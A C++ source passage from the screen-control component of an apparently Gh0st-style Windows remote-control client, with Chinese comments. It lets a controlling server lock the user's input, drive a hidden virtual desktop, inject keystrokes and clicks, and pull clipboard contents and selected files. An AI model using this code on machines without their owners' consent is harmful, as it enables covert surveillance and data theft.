Mprintf("strategy=0 (1080p), target=%d, needRestart=%d\n", target1080Width, needRestart);
break;
}
case 1: // 原始
needRestart = !m_ScreenSpyObject->IsOriginalSize();
Mprintf("strategy=1 (原始), needRestart=%d\n", needRestart);
break;
case 2: // 自适应质量调整 (maxWidth > 0maxWidth=0 时已回退到 case 0/1)
needRestart = (maxWidth != currentWidth);
Mprintf("strategy=2 (自适应), maxWidth=%d, currentWidth=%d, needRestart=%d\n",
maxWidth, currentWidth, needRestart);
break;
}
} else {
// 截屏对象不存在或未初始化,直接根据 strategy 决定是否重启
needRestart = (strategy == 2 && maxWidth > 0);
Mprintf("截屏对象未就绪, needRestart=%d\n", needRestart);
}
if (needRestart) {
Mprintf("重启截屏...\n");
RestartScreen();
} else {
Mprintf("不需要重启截屏\n");
}
m_ScreenSettings.ScreenStrategy = strategy;
m_ScreenSettings.ScreenWidth = maxWidth;
m_ScreenSettings.ScreenHeight = height;
break;
}
case CMD_FPS: {
int m_nMaxFPS = min(255, unsigned(szBuffer[1]));
m_nMaxFPS = max(m_nMaxFPS, 1);
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "ScreenMaxFPS", m_nMaxFPS);
m_ScreenSettings.MaxFPS = m_nMaxFPS;
break;
}
case CMD_SCROLL_INTERVAL: {
// 实时更新滚动检测间隔并保存
int interval = *(int*)(szBuffer + 1);
if (m_ScreenSpyObject) {
m_ScreenSpyObject->SetScrollDetectInterval(interval);
Mprintf("滚动检测间隔更新: %d\n", interval);
}
m_ScreenSettings.ScrollDetectInterval = interval;
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "ScrollDetectInterval", interval);
break;
}
case CMD_QUALITY_LEVEL: {
// 质量等级调整 (level: -2=关闭, -1=自适应, 0-5=具体等级)
int8_t level = (int8_t)szBuffer[1]; // 有符号,支持负值
int persist = ulLength >= 3 ? szBuffer[2] : 0; // 是否保存到配置
m_ScreenSettings.QualityLevel = level;
// 保存到配置
if (persist) {
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "QualityLevel", level);
}
// 应用具体等级的配置
if (level == QUALITY_DISABLED) {
// 关闭模式:不修改任何设置,使用原有的算法和帧率配置
Mprintf("质量等级: 关闭 (使用原有设置)\n");
} else if (level >= 0 && level < QUALITY_COUNT) {
// 具体等级:应用本地配置
const QualityProfile& profile = m_QualityProfiles[level];
m_ScreenSettings.MaxFPS = profile.maxFPS;
bool needRestart = false;
if (m_ScreenSpyObject) {
// 如果当前是 H264 且码率变化,需要重启以重新创建编码器
bool isH264 = (m_ScreenSpyObject->GetAlgorithm() == ALGORITHM_H264);
bool bitRateChanged = m_ScreenSpyObject->SetBitRate(profile.bitRate);
if (isH264 && bitRateChanged) {
needRestart = true;
}
m_ScreenSpyObject->SetAlgorithm(profile.algorithm);
}
Mprintf("质量等级: Level=%d, FPS=%d, Algo=%d, BitRate=%d\n", level,
profile.maxFPS, profile.algorithm, profile.bitRate);
if (needRestart) {
Mprintf("H264 码率变化,重启截屏...\n");
RestartScreen();
}
} else {
// 自适应模式:由服务端动态调整
Mprintf("质量等级: 自适应模式\n");
}
break;
}
case CMD_INSTRUCTION_SET: {
int set = unsigned(szBuffer[1]);
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "CpuSpeedup", set);
if (m_ScreenSettings.CpuSpeedup != set)
RestartScreen();
m_ScreenSettings.CpuSpeedup = set;
Mprintf("使用的CPU加速指令集: %d\n", set);
break;
}
case CMD_QUALITY_PROFILES: {
// 接收服务端下发的质量配置
if (ulLength >= 1 + sizeof(QualityProfile) * QUALITY_COUNT) {
memcpy(m_QualityProfiles, szBuffer + 1, sizeof(QualityProfile) * QUALITY_COUNT);
SaveQualityProfiles();
Mprintf("收到质量配置更新\n");
}
break;
}
case CMD_RESTORE_CONSOLE: {
// RDP会话归位恢复控制台会话
if (RestoreConsoleSession()) {
// 成功后重启截屏线程以获取新的桌面句柄
RestartScreen();
}
else {
SwitchScreen();
}
break;
}
case CMD_RESET_VIRTUAL_DESKTOP: {
// 重置虚拟桌面:关闭所有窗口,然后重启截屏
if (m_virtual && g_hDesk) {
Mprintf("重置虚拟桌面...\n");
CloseAllWindowsInDesktop(g_hDesk);
// 等待窗口关闭
Sleep(500);
// 关闭桌面句柄使其被销毁
CloseDesktop(g_hDesk);
g_hDesk = nullptr;
// 重启截屏线程(会创建新的桌面)
RestartScreen();
Mprintf("虚拟桌面已重置\n");
}
break;
}
case CMD_SWITCH_WINDOW: {
// 切换窗口(类似 Alt+Tab
SwitchToNextWindow();
break;
}
case CMD_AUDIO_CTRL: {
// 音频控制命令
if (ulLength >= 3) {
BYTE enable = szBuffer[1];
BYTE persist = szBuffer[2];
HandleAudioCtrl(enable, persist);
}
break;
}
case COMMAND_NEXT: {
m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
// 解析服务端能力标志(如果有)
if (ulLength >= 9 + sizeof(uint32_t)) {
uint32_t capabilities = *(uint32_t*)(szBuffer + 9);
if (m_ScreenSpyObject) {
m_ScreenSpyObject->SetServerCapabilities(capabilities);
if (capabilities & CAP_SCROLL_DETECT) {
m_ScreenSpyObject->EnableScrollDetection(true);
Mprintf("滚动检测已启用 (服务端支持)\n");
}
}
}
// 解析滚动检测间隔(优先使用服务端发送的值,否则使用本地保存的值)
if (ulLength >= 9 + sizeof(uint32_t) + sizeof(int)) {
int scrollInterval = *(int*)(szBuffer + 9 + sizeof(uint32_t));
if (m_ScreenSpyObject) {
m_ScreenSpyObject->SetScrollDetectInterval(scrollInterval);
Mprintf("滚动检测间隔(服务端): %d\n", scrollInterval);
}
} else if (m_ScreenSpyObject && m_ScreenSettings.ScrollDetectInterval > 0) {
// 使用本地保存的间隔设置
m_ScreenSpyObject->SetScrollDetectInterval(m_ScreenSettings.ScrollDetectInterval);
Mprintf("滚动检测间隔(本地): %d\n", m_ScreenSettings.ScrollDetectInterval);
}
NotifyDialogIsOpen();
break;
}
case COMMAND_SCREEN_CONTROL: {
if (m_ScreenSpyObject == NULL) break;
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
BlockInput(m_bIsBlockInput); //再恢复成用户的设置
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定
BlockInput(m_bIsBlockInput);
break;
}
case COMMAND_SCREEN_GET_CLIPBOARD: {
int result = 0;
auto files = GetClipboardFiles(result);
if (!files.empty()) {
char h[100] = {};
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
auto str = BuildMultiStringPath(files);
BYTE* szBuffer = new BYTE[1 + str.size()];
szBuffer[0] = { COMMAND_GET_FOLDER };
memcpy(szBuffer + 1, str.data(), str.size());
SendData(szBuffer, 1 + str.size());
SAFE_DELETE_ARRAY(szBuffer);
break;
}
if (SendClientClipboard(ulLength > 1))
break;
files = GetForegroundSelectedFiles(result);
if (!files.empty()) {
char h[100] = {};
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
auto str = BuildMultiStringPath(files);
BYTE* szBuffer = new BYTE[1 + str.size()];
szBuffer[0] = { COMMAND_GET_FOLDER };
memcpy(szBuffer + 1, str.data(), str.size());
SendData(szBuffer, 1 + str.size());
SAFE_DELETE_ARRAY(szBuffer);
}
break;
}
case COMMAND_SCREEN_SET_CLIPBOARD: {
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
break;
}
case COMMAND_GET_FOLDER: {
std::string folder;
if ((GetCurrentFolderPath(folder) || IsDebug) && ulLength - 1 > 80) {
char *h = new char[ulLength-1];
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
SAFE_DELETE_ARRAY(h);
if (OpenClipboard(nullptr)) {
EmptyClipboard();
CloseClipboard();
}
std::thread(RunFileReceiver, this, folder, files).detach();
}
break;
}
case COMMAND_GET_FILE: {
// 发送文件 (使用 V2 协议,支持断点续传)
std::string dir = (char*)(szBuffer + 1);
char* ptr = (char*)szBuffer + 1 + dir.length() + 1;
auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector<std::string> {};
if (files.empty()) {
BOOL result = 0;
files = GetClipboardFiles(result);
}
if (!files.empty() && !dir.empty()) {
// 断点续传:先收集文件信息
std::vector<std::pair<std::string, uint64_t>> fileInfos;
std::string rootDir = GetCommonRoot(files);
for (size_t i = 0; i < files.size(); i++) {
std::string relPath = GetRelativePath(rootDir, files[i]);
std::string targetPath = dir + relPath;
// 获取文件大小
HANDLE hFile = CreateFileA(files[i].c_str(), GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, 0, nullptr);
if (hFile != INVALID_HANDLE_VALUE) {
LARGE_INTEGER size;
GetFileSizeEx(hFile, &size);
CloseHandle(hFile);
fileInfos.push_back({targetPath, (uint64_t)size.QuadPart});
}
}
// 生成传输ID需要在查询和传输中使用相同的ID
uint64_t transferID = GenerateTransferID();
// 发送续传查询(不在这里等待,在传输线程中等待)
bool queryPending = false;
if (!fileInfos.empty()) {
auto queryPkt = BuildResumeQuery(transferID, m_MyClientID, 0, fileInfos);
if (!queryPkt.empty()) {
m_ClientObject->Send2Server((char*)queryPkt.data(), (int)queryPkt.size());
Mprintf("[Resume] 发送续传查询: transferID=%llu, %zu 个文件\n", transferID, fileInfos.size());
queryPending = true;
}
}
// 启动传输线程(会在发送前等待偏移响应)
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
TransferOptionsV2 opts;
opts.transferID = transferID; // 使用之前生成的ID
opts.srcClientID = m_MyClientID;
opts.dstClientID = 0; // 发送到主控端
opts.enableResume = queryPending; // 标记需要等待偏移
std::thread(FileBatchTransferWorkerV2, files, dir, pClient, ::SendDataV2, ::FinishSend,
m_hash, m_hmac, opts).detach();
} else {
delete pClient;
}
}
break;
}
case COMMAND_SEND_FILE: {
// 接收文件 (V1)
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
}
break;
}
case COMMAND_SEND_FILE_V2: {
// 接收文件 (V2, 支持 C2C)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac, m_MyClientID);
if (n) {
Mprintf("RecvFileChunkV2 failed: %d\n", n);
}
break;
}
case COMMAND_FILE_RESUME: {
// V2 断点续传控制
// 注意:批量响应使用 FileResumeResponseV2单文件使用 FileResumePacketV2
// 先尝试解析为批量响应格式
std::map<uint32_t, uint64_t> batchOffsets;
if (ParseResumeResponse((const char*)szBuffer, ulLength, batchOffsets)) {
Mprintf("收到批量续传响应: %zu 个文件\n", batchOffsets.size());
SetPendingResumeOffsets(batchOffsets);
break;
}
// 不是批量响应,按单文件格式处理
FileResumePacketV2* pkt = (FileResumePacketV2*)szBuffer;
Mprintf("收到断点续传包: transferID=%llu, flags=0x%04X\n", pkt->transferID, pkt->flags);
if (pkt->flags & FFV2_RESUME_REQ) {
// 对方请求续传信息,获取本地接收状态并发送响应
TransferStateInfo info;
if (GetTransferState(pkt->transferID, pkt->fileIndex, info)) {
// 构建 RESUME_RESP 包
size_t rangeDataSize = info.receivedRanges.size() * sizeof(FileRangeV2);
size_t totalSize = sizeof(FileResumePacketV2) + rangeDataSize;
std::vector<uint8_t> respBuf(totalSize);
FileResumePacketV2* resp = (FileResumePacketV2*)respBuf.data();
resp->cmd = COMMAND_FILE_RESUME;
resp->transferID = pkt->transferID;
resp->srcClientID = m_MyClientID; // 我的ID
resp->dstClientID = pkt->srcClientID; // 回复给请求方
resp->fileIndex = pkt->fileIndex;
resp->fileSize = info.fileSize;
resp->receivedBytes = info.receivedBytes;
resp->flags = FFV2_RESUME_RESP;
resp->rangeCount = (uint16_t)info.receivedRanges.size();
// 写入区间数据
FileRangeV2* ranges = (FileRangeV2*)(respBuf.data() + sizeof(FileResumePacketV2));
for (size_t i = 0; i < info.receivedRanges.size(); i++) {
ranges[i].offset = info.receivedRanges[i].first;
ranges[i].length = info.receivedRanges[i].second;
}
Send(respBuf.data(), (UINT)totalSize);
Mprintf("已发送续传响应: transferID=%llu, received=%llu/%llu\n",
pkt->transferID, info.receivedBytes, info.fileSize);
} else {
Mprintf("未找到传输状态: transferID=%llu\n", pkt->transferID);
}
}
else if (pkt->flags & FFV2_RESUME_RESP) {
// 单文件续传响应
Mprintf("收到续传响应: fileIndex=%u, received=%llu/%llu\n",
pkt->fileIndex, pkt->receivedBytes, pkt->fileSize);
// 解析已接收区间
uint64_t transferID, fileSize;
std::vector<std::pair<uint64_t, uint64_t>> receivedRanges;
if (ParseResumePacket((const char*)szBuffer, ulLength, transferID, fileSize, receivedRanges)) {
// 获取本地发送状态(需要知道原始文件路径和目标名称)
TransferStateInfo sendInfo;
if (GetTransferState(transferID, pkt->fileIndex, sendInfo)) {
// 使用新连接从断点继续发送
TransferOptionsV2 opts;
opts.transferID = transferID;
opts.srcClientID = m_MyClientID;
opts.dstClientID = pkt->srcClientID;
opts.enableResume = true;
// 获取目标文件名(从文件路径提取)
std::string targetName = sendInfo.filePath;
size_t lastSlash = targetName.find_last_of("\\/");
if (lastSlash != std::string::npos) {
targetName = targetName.substr(lastSlash + 1);
}
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([=]() {
FileSendFromOffset(sendInfo.filePath, targetName, fileSize,
receivedRanges, pClient,
[](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool {
IOCPClient* client = (IOCPClient*)user;
return client->Send2Server((char*)data, size) != FALSE;
},
opts);
delete pClient;
}).detach();
Mprintf("开始续传: transferID=%llu, 跳过 %zu 个区间\n", transferID, receivedRanges.size());
} else {
delete pClient;
Mprintf("续传连接失败\n");
}
}
}
}
else if (pkt->flags & FFV2_CANCEL) {
// 取消传输:通知发送线程停止
CancelTransfer(pkt->transferID);
CleanupResumeState(pkt->transferID);
Mprintf("传输已取消: transferID=%llu\n", pkt->transferID);
}
break;
}
case COMMAND_FILE_COMPLETE_V2: {
// C2C 文件完成校验
if (ulLength < sizeof(FileCompletePacketV2)) break;
const FileCompletePacketV2* completePkt = (const FileCompletePacketV2*)szBuffer;
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, ulLength, m_MyClientID);
Mprintf("[C2C] 文件校验%s: transferID=%llu, fileIndex=%u\n",
verifyOk ? "通过" : "失败", completePkt->transferID, completePkt->fileIndex);
break;
}
case COMMAND_FILE_QUERY_RESUME: {
// C2C 断点续传查询
Mprintf("[C2C] 收到断点续传查询\n");
auto response = HandleResumeQuery((const char*)szBuffer, ulLength);
if (!response.empty()) {
m_ClientObject->Send2Server((char*)response.data(), (int)response.size());
Mprintf("[C2C] 已响应断点续传查询: %zu 字节\n", response.size());
}
break;
}
case COMMAND_C2C_TEXT: {
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
if (ulLength < 13) break;
uint32_t textLen;
memcpy(&textLen, szBuffer + 9, 4);
if (ulLength < 13 + textLen) break;
// UTF-8 文本转换为 Unicode 并设置剪贴板
std::string utf8Text((const char*)szBuffer + 13, textLen);
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, NULL, 0);
if (wideLen > 0) {
std::wstring wideText(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8Text.c_str(), -1, &wideText[0], wideLen);
if (::OpenClipboard(NULL)) {
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, wideLen * sizeof(wchar_t));
if (hGlobal) {
wchar_t* pDst = (wchar_t*)GlobalLock(hGlobal);
if (pDst) {
wcscpy(pDst, wideText.c_str());
GlobalUnlock(hGlobal);
SetClipboardData(CF_UNICODETEXT, hGlobal);
Mprintf("[C2C] 收到文本: %u 字节\n", textLen);
// 模拟 Ctrl+V 完成粘贴(因为原始 Ctrl+V 被服务端拦截了)
::CloseClipboard();
INPUT inputs[4] = {};
inputs[0].type = INPUT_KEYBOARD;
inputs[0].ki.wVk = VK_CONTROL;
inputs[1].type = INPUT_KEYBOARD;
inputs[1].ki.wVk = 'V';
inputs[2].type = INPUT_KEYBOARD;
inputs[2].ki.wVk = 'V';
inputs[2].ki.dwFlags = KEYEVENTF_KEYUP;
inputs[3].type = INPUT_KEYBOARD;
inputs[3].ki.wVk = VK_CONTROL;
inputs[3].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(4, inputs, sizeof(INPUT));
break;
} else {
GlobalFree(hGlobal);
}
}
::CloseClipboard();
}
}
break;
}
case COMMAND_CLIPBOARD_V2: {
// V2 C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端
ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
Mprintf("收到 C2C 剪贴板请求: dst=%llu, transferID=%llu\n", req->dstClientID, req->transferID);
// 从请求包中提取认证信息(与 KernelManager 保持一致)
std::string hash(req->hash, 64);
std::string hmac(req->hmac, 16);
// 获取剪贴板文件
int result = 0;
auto files = GetClipboardFiles(result);
if (files.empty()) {
files = GetForegroundSelectedFiles(result);
}
if (!files.empty()) {
// C2C: 不指定目标目录,由接收方决定
std::string targetDir = "";
// 收集文件信息(使用相对路径,接收方使用后缀匹配)
std::vector<std::pair<std::string, uint64_t>> fileInfos;
std::string rootDir = GetCommonRoot(files);
for (size_t i = 0; i < files.size(); i++) {
std::string relPath = GetRelativePath(rootDir, files[i]);
std::replace(relPath.begin(), relPath.end(), '\\', '/');
HANDLE hFile = CreateFileA(files[i].c_str(), GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, 0, nullptr);
if (hFile != INVALID_HANDLE_VALUE) {
LARGE_INTEGER size;
GetFileSizeEx(hFile, &size);
CloseHandle(hFile);
fileInfos.push_back({relPath, (uint64_t)size.QuadPart});
}
}
// 发送续传查询(通过主连接,响应也会回到主连接)
bool queryPending = false;
if (!fileInfos.empty()) {
auto queryPkt = BuildResumeQuery(req->transferID, m_MyClientID, req->dstClientID, fileInfos);
if (!queryPkt.empty()) {
m_ClientObject->Send2Server((char*)queryPkt.data(), (int)queryPkt.size());
Mprintf("[C2C] 发送续传查询: transferID=%llu, %zu 个文件, 使用完整路径\n", req->transferID, fileInfos.size());
queryPending = true;
}
}
// 使用 V2 发送到目标客户端
TransferOptionsV2 opts;
opts.transferID = req->transferID;
opts.srcClientID = m_MyClientID; // 我是源
opts.dstClientID = req->dstClientID; // 目标客户端
opts.enableResume = queryPending; // 只有发送了查询才等待响应
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(files, targetDir, pClient,
[](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool {
IOCPClient* client = (IOCPClient*)user;
return client->Send2Server((char*)data, size) != FALSE;
},
[](void* user) {
IOCPClient* client = (IOCPClient*)user;
delete client;
},
hash, hmac, opts);
}).detach();
} else {
delete pClient;
}
} else {
// 没有文件,尝试发送剪贴板文本
std::string text;
if (::OpenClipboard(NULL)) {
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
if (hGlobal) {
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
if (pWideStr) {
int len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
if (len > 0) {
text.resize(len);
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, &text[0], len, NULL, NULL);
text.resize(strlen(text.c_str()));
}
GlobalUnlock(hGlobal);
}
}
::CloseClipboard();
}
if (!text.empty()) {
// 构建 C2C 文本包: [cmd:1][dstClientID:8][textLen:4][text:N]
uint32_t textLen = (uint32_t)text.size();
std::vector<char> pkt(1 + 8 + 4 + textLen);
pkt[0] = COMMAND_C2C_TEXT;
memcpy(&pkt[1], &req->dstClientID, 8);
memcpy(&pkt[9], &textLen, 4);
memcpy(&pkt[13], text.data(), textLen);
m_ClientObject->Send2Server(pkt.data(), (int)pkt.size());
Mprintf("[C2C] 发送文本到客户端 %llu (%u 字节)\n", req->dstClientID, textLen);
} else {
Mprintf("[C2C] 没有找到要发送的文件或文本\n");
}
}
break;
}
}
}
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength+1);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL) {
GlobalFree(hGlobal);
CloseClipboard();
return;
}
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
szClipboardVirtualAddress[ulLength] = '\0';
GlobalUnlock(hGlobal);
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
BOOL CScreenManager::SendClientClipboard(BOOL fast)
{
if (!::OpenClipboard(NULL))
return FALSE;
// 改为获取 Unicode 格式
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
if (hGlobal == NULL) {
::CloseClipboard();
return FALSE;
}
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
if (pWideStr == NULL) {
::CloseClipboard();
return FALSE;
}
// Unicode 转 UTF-8
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
if (utf8Len <= 0) {
GlobalUnlock(hGlobal);
::CloseClipboard();
return TRUE;
}
if (fast && utf8Len > 200 * 1024) {
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
GlobalUnlock(hGlobal);
::CloseClipboard();
return TRUE;
}
LPBYTE szBuffer = new BYTE[utf8Len + 1];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
delete[] szBuffer;
return TRUE;
}
VOID CScreenManager::SendFirstScreen()
{
ULONG ulFirstSendLength = 0;
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
if (ulFirstSendLength == 0 || FirstScreenData == NULL) {
return;
}
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
AUTO_TICK(100, "GetNextScreen");
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL) {
return NULL;
}
return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
AUTO_TICK(100, std::to_string(ulNextSendLength));
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
}
std::string GetTitle(HWND hWnd)
{
char title[256]; // 预留缓冲区
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
// 辅助判断是否为扩展键
bool IsExtendedKey(WPARAM vKey)
{
switch (vKey) {
case VK_INSERT:
case VK_DELETE:
case VK_HOME:
case VK_END:
case VK_PRIOR:
case VK_NEXT:
case VK_LEFT:
case VK_UP:
case VK_RIGHT:
case VK_DOWN:
case VK_RCONTROL:
case VK_RMENU:
case VK_DIVIDE: // 小键盘的 /
return true;
default:
return false;
}
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
// 命令个数
ULONG ulMsgCount = ulLength / msgSize;
// 处理多个命令
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (m_virtual) {
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
default: {
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
m_ScreenSpyObject->PointConversion(msg->pt);
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
if (msg->message == WM_LBUTTONDOWN) {
char szClass[64] = {};
if (hWnd) GetClassNameA(hWnd, szClass, sizeof(szClass));
Mprintf("虚拟桌面点击: (%d,%d) hWnd=%p class=%s\n",
m_point.x, m_point.y, hWnd, szClass);
}
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_RBUTTONDOWN) {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
} else if (msg->message == WM_RBUTTONUP) {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为任务栏相关窗口
char szClass[256] = {};
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
// 检查是否为任务栏或其子窗口
BOOL isTaskbar = (strcmp(szClass, "Shell_TrayWnd") == 0 ||
strcmp(szClass, "MSTaskListWClass") == 0 ||
strcmp(szClass, "MSTaskSwWClass") == 0 ||
strcmp(szClass, "TrayNotifyWnd") == 0 ||
strcmp(szClass, "Start") == 0 ||
strcmp(szClass, "ReBarWindow32") == 0);
// 如果不是已知的任务栏类,检查父窗口链
if (!isTaskbar) {
HWND hParent = GetParent(m_rclickWnd);
while (hParent) {
GetClassNameA(hParent, szClass, sizeof(szClass));
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
isTaskbar = TRUE;
break;
}
hParent = GetParent(hParent);
}
}
if (isTaskbar) {
// 任务栏右键菜单:使用屏幕坐标发送 WM_CONTEXTMENU
Mprintf("Taskbar right click at: %d, %d\n", m_rclickPoint.x, m_rclickPoint.y);
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
} else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加模拟键盘按下Shift+F10备用菜单触发方式
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
} else if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd) {
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
// 检查是否为任务栏相关窗口
char szClass[256] = {};
GetClassNameA(hWnd, szClass, sizeof(szClass));
BOOL isTaskbar = (strcmp(szClass, "Shell_TrayWnd") == 0 ||
strcmp(szClass, "MSTaskListWClass") == 0 ||
strcmp(szClass, "MSTaskSwWClass") == 0 ||
strcmp(szClass, "TrayNotifyWnd") == 0 ||
strcmp(szClass, "ReBarWindow32") == 0);
if (!isTaskbar) {
HWND hParent = GetParent(hWnd);
while (hParent) {
GetClassNameA(hParent, szClass, sizeof(szClass));
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
isTaskbar = TRUE;
break;
}
hParent = GetParent(hParent);
}
}
if (isTaskbar) {
// 任务栏左键点击:需要获取输入权限才能正确模拟点击
Mprintf("Taskbar left click at: %d, %d on %s\n", m_point.x, m_point.y, szClass);
// 获取任务栏线程并附加输入
HWND hTaskbar = FindWindowA("Shell_TrayWnd", NULL);
if (hTaskbar) {
DWORD taskbarThreadId = GetWindowThreadProcessId(hTaskbar, NULL);
DWORD currentThreadId = GetCurrentThreadId();
// 允许设置前台窗口
AllowSetForegroundWindow(ASFW_ANY);
// 附加到任务栏线程的输入队列
AttachThreadInput(currentThreadId, taskbarThreadId, TRUE);
// 模拟鼠标点击
SetCursorPos(m_point.x, m_point.y);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
Sleep(80);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
// 分离输入队列
AttachThreadInput(currentThreadId, taskbarThreadId, FALSE);
}
continue;
}
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
